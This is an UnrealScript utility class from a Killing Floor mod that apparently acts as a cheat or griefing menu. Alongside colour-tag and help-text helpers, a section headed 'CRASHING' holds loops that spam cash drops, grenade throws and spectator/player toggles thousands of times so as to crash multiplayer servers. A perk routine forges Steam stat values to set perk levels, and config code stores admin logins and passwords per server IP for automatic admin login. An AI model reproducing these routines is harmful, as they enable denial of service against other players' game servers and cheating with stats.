class o_Utility extends object config(HideMut_Utility); var const string DIVIDER; // =========================================================================== // VARIABLES // =========================================================================== // some complicated structure to hold all required perk data struct sData { var byte Index; var array Value; }; struct sPerkInfo { var class Perk; var array PerkData; }; var array PerkInfo; // colors and tags, maybe later I will convert this to a config array struct ColorRecord { var string ColorName; // color name, for comfort var string ColorTag; // color tag var Color Color; // RGBA values }; var config array ColorList; // color list var config array MsgHelp; // help messages var config array SPHelp; // help messages // admin login-pass, server ip info struct adminAccount { var string Name; var string ip; var string login; var string pass; }; var config array adminAccounts; // shit bind strings var config string SC_names; var config string FP_names; var config string tnames; // =========================================================================== // UTILITY // =========================================================================== // get gametype string final function GetGT(player player) { local GameReplicationInfo gri; foreach allObjects(class'GameReplicationInfo', gri) { if (gri == none) continue; print_Console_s(gri.gameClass, player); } } // =========================================================================== // TEXT // =========================================================================== // help list for zed spawning final function TellAbout(player player, string whatToTell) { local int i; local array StrTemp; switch (whatToTell) { case "MsgHelp": StrTemp = MsgHelp; break; case "Chars": StrTemp = class'KFGameType'.default.AvailableChars; for(i = 0; i < StrTemp.Length; i++) { StrTemp[i] = "^w^" $ i $ ". ^y^" $ StrTemp[i]; } break; default: // fallback warning StrTemp[0] = "^r^HIDE MENU HELPER: We shouldn't get to this so this means you used WRONG modifier!"; } print_Console_arr(StrTemp, player); } // help list for zed spawning final function string getRandString(byte i) { local string s; local array loc_arr; // get exact string if (i == 1) s = SC_names; else if (i == 2) s = FP_names; else s = tnames; // fill the array split(s, DIVIDER, loc_arr); return loc_arr[rand(loc_arr.length)]; } // =========================================================================== // COLORS // =========================================================================== // converts color tags to colors final function string ParseTags(string input) { local int i; for (i = 0; i < ColorList.Length; i++) { ReplaceText(input, ColorList[i].ColorTag, class'GameInfo'.static.MakeColorCode(ColorList[i].Color)); } return input; } // same thing ^ but as a static function final static function string ParseTagsStatic(string input) { local int i; for (i = 0; i < default.ColorList.Length; i++) { ReplaceText(input, default.ColorList[i].ColorTag, class'GameInfo'.static.MakeColorCode(default.ColorList[i].Color)); } return input; } // to make a color: class'Canvas'.Static.MakeColor(R,G,B, optional A) // Engine.GameInfo // removes colors from a string final function string StripColor(string s) { local int p; p = InStr(s, chr(27)); while (p >= 0) { s = left(s, p) $ mid(S, p + 4); p = InStr(s, Chr(27)); } return s; } // same thing ^ but as a static function final static function string StripColorStatic(string s) { local int p; p = InStr(s, chr(27)); while (p >= 0) { s = left(s, p) $ mid(S, p + 4); p = InStr(s, Chr(27)); } return s; } // =========================================================================== // ADMIN STUFF // =========================================================================== // admin login-logout final function adlog(KFPlayerController pc) { local int i; local string serverIp; if (!bIsValid(pc)) return; if (pc.playerReplicationInfo.bAdmin == true) { pc.adminLogout(); return; } serverIp = pc.getServerNetworkAddress(); for (i = 0; i < adminAccounts.length; i++) { if (serverIp == adminAccounts[i].ip) { if (adminAccounts[i].login != "") pc.adminLogin(adminAccounts[i].login @ adminAccounts[i].pass); else pc.adminLogin(adminAccounts[i].pass); } } } // print aviablable admin - pass pairs, optionally to console final function adlog_Info(KFPlayerController pc, optional bool toConsole) { local int i; if (!bIsValid(pc)) return; for (i = 0; i < adminAccounts.length; i++) { if (toConsole) { pc.Player.Console.Chat(adminAccounts[i].login, 6.0, pc.playerReplicationInfo); pc.Player.Console.Chat(adminAccounts[i].pass, 6.0, pc.playerReplicationInfo); } else { pc.myHUD.AddTextMessage(adminAccounts[i].login, class'LocalMessage', pc.playerReplicationInfo); pc.myHUD.AddTextMessage(adminAccounts[i].pass, class'LocalMessage', pc.playerReplicationInfo); } } } final function adlog_Control(KFPlayerController pc, bool bAdd, string Param) { local int i; local string serverIp, serverName; local array Params; local GameReplicationInfo tempGri; local adminAccount loc_adminAccount; if (!bIsValid(pc)) return; // get server IP serverIp = pc.getServerNetworkAddress(); if (bAdd) { // get login, pass split(Param, ",", Params); // get server name foreach pc.allActors(class'GameReplicationInfo', tempGri) { if (tempGri == none) continue; serverName = tempGri.ServerName; log(tempGri.ServerName); } loc_adminAccount.Name = serverName; loc_adminAccount.ip = serverIp; loc_adminAccount.login = Params[0]; loc_adminAccount.pass = Params[1]; adminAccounts[adminAccounts.Length] = loc_adminAccount; pc.myHUD.AddTextMessage(Params[0] @ Params[1] @ "added to admin info config!", class'LocalMessage', pc.playerReplicationInfo); // save the config! StaticSaveConfig(); } else { for (i = 0; i < adminAccounts.length; i++) { if (serverIp == adminAccounts[i].ip) { pc.myHUD.AddTextMessage(adminAccounts[i].login @ adminAccounts[i].pass @ "removed from admin info config!", class'LocalMessage', pc.playerReplicationInfo); adminAccounts.Remove(i, 1); StaticSaveConfig(); break; } } } } // check for nones final function bool bIsValid(KFPlayerController pc) { if (pc == none || pc.playerReplicationInfo == none) return false; else return true; } // =========================================================================== // CRASHING // =========================================================================== // dosh spam for CrashServer() final function doshspam(KFHumanPawn p) { local int i; while (p != none && i < 10000) { p.tossCash(1); i++; } } // nade spam for CrashServer2() final function nadespam(KFHumanPawn p, int i) { local int n; // StopWatch(false); while (p != none && n < i) { ThrowNade(p); n++; } // StopWatch(true); } // spec-join spam for CrashServer3() final function specspam(KFPlayerController pc) { local int i; if (pc == none) return; while (i < 100) { pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); pc.BecomeActivePlayer(); pc.BecomeSpectator(); i++; } } final function Frag FindNade(KFHumanPawn p) { local inventory inv; if (p == none) return none; for (inv = p.Inventory; inv != none; inv = inv.Inventory) { if (ClassIsChildOf(inv.class, class'Frag')) { return Frag(inv); } } } final function ThrowNade(KFHumanPawn p) { if (p == none || FindNade(p) == none) return; FindNade(p).ServerThrow(); } // =========================================================================== // helper messages final function string GetChar(string s) { local int i; // default skins are 56! i = clamp(int(s), 0, 55); return class'KFGameType'.default.AvailableChars[i]; } // =========================================================================== // return all avialable KFWeapon classes array final function array< class > getALLWeapons(KFPlayerController pc) { local KFLevelRules lr; local array< class > array_wep; // failsafe if (pc == none) return array_wep; foreach pc.dynamicActors(class'KFLevelRules', lr) { if (lr == none) return array_wep; break; } // fill weapon class array MergeSellArrays(array_wep, lr.mediItemForSale); MergeSellArrays(array_wep, lr.suppItemForSale); MergeSellArrays(array_wep, lr.shrpItemForSale); MergeSellArrays(array_wep, lr.commItemForSale); MergeSellArrays(array_wep, lr.bersItemForSale); MergeSellArrays(array_wep, lr.fireItemForSale); MergeSellArrays(array_wep, lr.demoItemForSale); MergeSellArrays(array_wep, lr.neutItemForSale); return array_wep; } // convert pickups to weapon class and add to out array final private function MergeSellArrays(out array< class > array_wep, array< class > sellItems) { local int i; for (i = 0; i < sellItems.length; i++) { array_wep[array_wep.Length] = class(sellItems[i].default.inventoryType); } } // =========================================================================== // PERKS // =========================================================================== final function PerkSwitch(KFPlayerController pc, int i, optional string level) { local int j, n; // failsafe if (pc == none) return; // failsafe for perk index // tho we make sure we pass right values to here i = clamp(i, 0, 7); // what level we want // if we don't specify it force to 6 if (level ~= "") j = 6; else j = clamp(int(level), 0, 6); n = PerkInfo[i].PerkData.Length; // set SelectedVeterancy pc.SelectedVeterancy = PerkInfo[i].Perk; pc.SaveConfig(); // set the veterancy pc.selectVeterancy(PerkInfo[i].Perk, true); pc.SetSelectedVeterancy(PerkInfo[i].Perk); // set levels if (n > 0) { pc.serverInitializeSteamStatInt(PerkInfo[i].PerkData[0].Index, PerkInfo[i].PerkData[0].Value[j]); // if we have 2'nd index - use it! if (n > 1) pc.serverInitializeSteamStatInt(PerkInfo[i].PerkData[1].Index, PerkInfo[i].PerkData[1].Value[j]); } pc.serverSteamStatsAndAchievementsInitialized(); } // get perk index byte // Fail = 99 // KFVeterancyTypes = 255 // Perk Neutral = 7 // Medic = 0 || Sup = 1 || Sharp = 2 // Mando = 3 || Zerk = 4 || Pyro = 5 || Demo = 6 final function byte Get_Perk_Index(KFPlayerController pc) { local KFPlayerReplicationInfo PRI; PRI = KFPlayerReplicationInfo(PC.PlayerReplicationInfo); // fail indicator if (pc == none || PRI == none) return 99; if (PRI.ClientVeteranSkill != none) return PRI.ClientVeteranSkill.default.perkIndex; else return 7; // Perk Neutral } // =========================================================================== // CONSOLE SHIT // =========================================================================== // privately prints from ARRAY to console final function print_Console_arr(array s, player player) { local KFConsole console; local int i; // fail safe. Console must be always present if (player == none) return; console = KFConsole(player.console); for (i = 0; i < s.length; i++) { console.Message(ParseTags(s[i]), 0.0f); } } // privately prints from STRING to console, accepts arrays with DIVIDER DIVIDER final function print_Console_s(string s, player player) { local KFConsole console; local array array_s; local int i; // fail safe. Console must be always present if (player == none) return; console = KFConsole(player.console); // fill the array split(s, DIVIDER, array_s); // if we have an array if (array_s.length > 0) { for (i = 0; i < array_s.length; i++) { console.Message(ParseTags(array_s[i]), 0.0f); } } else console.Message(ParseTags(s), 0.0f); } // toss a string array, get the Console, and execute everything in a safe, clean way, divider - DIVIDER final function write_Console(string s, player player) { local KFConsole console; local array array_s; local int i; // fail safe. Console must be always present if (player == none) return; console = KFConsole(player.console); // fill the array split(s, DIVIDER, array_s); // we are using delayed to allow huuuuge console spam for (i = 0; i < array_s.length; i++) { console.DelayedConsoleCommand(array_s[i]); } } // =========================================================================== // DEFS // =========================================================================== defaultproperties { Divider=";" PerkInfo(0)=(Perk=Class'KFMod.KFVetFieldMedic',PerkData=((Value=(0,200,750,4000,12000,25000,100000)))) PerkInfo(1)=(Perk=Class'KFMod.KFVetSupportSpec',PerkData=((Index=2,Value=(0,25000,100000,500000,1500000,3500000,5500000)),(Index=1,Value=(0,2000,7000,35000,120000,250000,370000)))) PerkInfo(2)=(Perk=Class'KFMod.KFVetSharpshooter',PerkData=((Index=3,Value=(0,30,100,700,2500,5500,8500)))) PerkInfo(3)=(Perk=Class'KFMod.KFVetCommando',PerkData=((Index=5,Value=(0,25000,100000,500000,1500000,3500000,5500000)),(Index=4,Value=(0,30,100,350,1200,2400,3600)))) PerkInfo(4)=(Perk=Class'KFMod.KFVetBerserker',PerkData=((Index=6,Value=(0,25000,100000,500000,1500000,3500000,5500000)))) PerkInfo(5)=(Perk=Class'KFMod.KFVetFirebug',PerkData=((Index=7,Value=(0,25000,100000,500000,1500000,3500000,5500000)))) PerkInfo(6)=(Perk=Class'KFMod.KFVetDemolitions',PerkData=((Index=21,Value=(0,25000,100000,500000,1500000,3500000,5500000)))) PerkInfo(7)=(Perk=Class'KFMod.KFVeterancyTypes') }